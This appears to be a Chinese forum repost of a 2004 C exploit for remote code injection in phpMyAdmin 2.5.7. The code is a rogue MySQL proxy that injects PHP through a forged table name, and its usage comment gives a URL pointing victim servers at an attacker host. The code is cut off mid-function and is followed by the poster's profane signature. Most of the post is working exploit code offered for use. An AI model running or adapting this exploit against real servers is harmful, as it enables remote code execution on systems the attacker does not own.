发新话题
打印

phpMyAdmin 2.5.7 Remote code injection Exploit

phpMyAdmin 2.5.7 Remote code injection Exploit

文章作者:Nasir Simbolon
复制内容到剪贴板
代码:
/**//*   
* phpmy-explt.c  
* written by Nasir Simbolon <nasir kecapi com>
* eagle kecapi com
* Jakarta, Indonesia
*
* June, 10 2004
*
* A phpMyAdmin-2.5.7 exploite program.
* This is a kind of  mysql server wrapper  acts like a proxy except that it will sends a fake table name,
* when client query "SHOW TABLES",  by replacing the real table name with a string contains exploite codes.
*
* Compile : gcc phpmy-explt.c -o phpmy-explt
*
* run with
* ./phpmy-explt
*
* and go to your target and put
*
* [url]http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[/url][Servers][4][host]=
* attacker.host.com&cfg[Servers][4][port]=8889&cfg[Servers][4][auth_type]=config&cfg[Servers]
* [4][user]=user&cfg[Servers][4][password]=pass&cfg[Servers][4][connect_type]=tcp&&cfg[Servers]
* [4][only_db]=databasename
*
* fill host,port,user,pass and databasename correctly
*
*/


#include<stdio.h>
#include<sys/socket.h>
#include<netdb.h>

#define BIND_PORT 8889
#define MYSQL_PORT 3306
#define HOSTNAME "localhost"
#define DATABASE "phpmy"


#define BUFFER_LEN 1024

/**//* This is php code we want to inject into phpMyAdmin
  Do NOT use  single quote (&#39;) in the string, use double quote (") instead
*/
char *phpcodes = "exec("touch /tmp/your-phpmyadmin-is-vulnerable");";


  /**//* This is examples codes I captured when mysql server
    reply to client&#39;s request of query "SHOW TABLES" query.
    It shows  database  name &#39;phpmy&#39; and contain one tablename  &#39;mytable&#39;
    Our aim is to manipulate the data received from mysql server
    by replacing &#39;mytable&#39; with our exploide codes.
   
    0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
    0xf ,&#39;T&#39; ,&#39;a&#39; ,&#39;b&#39; ,&#39;l&#39; ,&#39;e&#39; ,&#39;s&#39; ,&#39;_&#39; ,&#39;i&#39; ,&#39;n&#39; ,
    &#39;_&#39; ,&#39;p&#39; ,&#39;h&#39; ,&#39;p&#39; ,&#39;m&#39; ,&#39;y&#39; ,0x3 ,0x40,0x0 ,0x0 ,
    0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,
    -2  ,8  ,0x0 ,0x0 ,0x4 ,7  ,&#39;m&#39; ,&#39;y&#39; ,&#39;t&#39; ,&#39;a&#39; ,
    &#39;b&#39; ,&#39;l&#39; ,&#39;e&#39; ,0x1 ,0  ,0  ,0x5 ,-2
  */


int build_exploite_code(char* dbname,char* phpcodes,char** expcode)
{
  char my1[21] = {0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,
      0xf ,&#39;T&#39; ,&#39;a&#39; ,&#39;b&#39; ,&#39;l&#39; ,&#39;e&#39; ,&#39;s&#39; ,&#39;_&#39; ,&#39;i&#39; ,&#39;n&#39; ,
      &#39;_&#39;};
  /**//* part of dbname    (&#39;p&#39; ,&#39;h&#39; ,&#39;p&#39; ,&#39;m&#39; ,&#39;y&#39;) */
  char my2[15] = {0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,
        0x1 ,0x0 ,0x0 ,0x3 ,-2};  
  /**//* part of int phpcodes string length +1  (8) */
  char my3[3]  = {0x0 ,0x0 ,0x4};
  /**//* part of int phpcodes string length    (7) */
  /**//* part of tablename   (&#39;m&#39; ,&#39;y&#39; ,&#39;t&#39; ,&#39;a&#39; ,&#39;b&#39; ,&#39;l&#39; ,&#39;e&#39; ) */
  char my4[5]  = {0x1 ,0  ,0  ,0x5 ,-2};

  int len,i;

  len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  strlen(phpcodes) + 5 + 5;
  *expcode = (char*) malloc(sizeof(char) * len);
  
  i = 0;
  bcopy(&my1[0],*expcode + i,21);
  i += 21;
  bcopy(dbname, *expcode + i,strlen(dbname));
  i += strlen(dbname);
  bcopy(&my2[0],*expcode + i,15);
  i += 15;
  (*expcode)[i] = 5 + strlen(phpcodes) + 1;
  i ++;
  bcopy(&my3[0],*expcode + i,3);
  i += 3;  
  (*expcode)[i++] = 5 + strlen(phpcodes) ;
  /**//* this is our exploite codes*/
  (*expcode)[i++] = &#39;\&#39;;
  (*expcode)[i++] = &#39;&#39;&#39;;
  (*expcode)[i++] = &#39;;&#39;;
  bcopy(phpcodes,*expcode + i,strlen(phpcodes));
  i += strlen(phpcodes);
  (*expcode)[i++] = &#39;/&#39;;
  (*expcode)[i++] = &#39;*&#39;;
  bcopy(&my4[0],*expcode + i,5);
  
  return len;
}

/**//* connect to mysql server*/

int connect_mysql()
{
   int s2;
   struct sockaddr_in ina;
   struct hostent *h;
   
   h = gethostbyname(HOSTNAME);
   /**//* set internet address */
   bcopy(h->h_addr,(void *)&ina.sin_addr,h->h_length);
   ina.sin_family = AF_INET;
   ina.sin_port = htons(MYSQL_PORT);
   //ina.sin_zero[0]=&#39;
曾几何时,有人对我说:装B遭雷劈。我说:去你妈的。于是,这个人又对我说:如果再说脏话,上帝会惩罚你的。我说:我操上帝。结论:彪悍的人生不需要上帝。

TOP

发新话题